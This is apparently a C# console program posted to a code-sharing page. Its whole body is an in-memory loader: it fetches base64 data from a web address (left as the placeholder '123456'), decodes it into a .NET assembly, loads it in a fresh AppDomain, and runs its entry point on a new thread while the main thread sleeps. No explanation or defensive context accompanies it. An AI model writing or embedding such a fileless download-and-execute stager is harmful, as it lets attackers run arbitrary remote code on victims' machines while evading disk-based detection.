54 lines
981 B
Plaintext
54 lines
981 B
Plaintext
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Net;
|
|
using System.Reflection;
|
|
using System.Text;
|
|
using System.Threading;
|
|
|
|
|
|
namespace ConsoleApp2
|
|
{
|
|
class Program
|
|
{
|
|
static void Main(string[] args)
|
|
{
|
|
|
|
|
|
AppDomain temoDomain = AppDomain.CreateDomain("TempDomain");
|
|
temoDomain.DoCallBack(Callback);
|
|
Thread.Sleep(-1);
|
|
AppDomain.Unload(temoDomain);
|
|
}
|
|
private static void Callback()
|
|
{
|
|
AppDomain domain = (AppDomain)typeof(Thread).GetMethod("GetDomain").Invoke(0, null);
|
|
|
|
|
|
Assembly assembly = domain.Load(Convert.FromBase64String(new StreamReader(WebRequest.Create("123456").GetResponse().GetResponseStream()).ReadToEnd()));
|
|
|
|
|
|
|
|
|
|
new Thread(() =>
|
|
|
|
|
|
|
|
{
|
|
assembly.EntryPoint.Invoke(0, null);
|
|
|
|
|
|
|
|
}).Start();
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
} |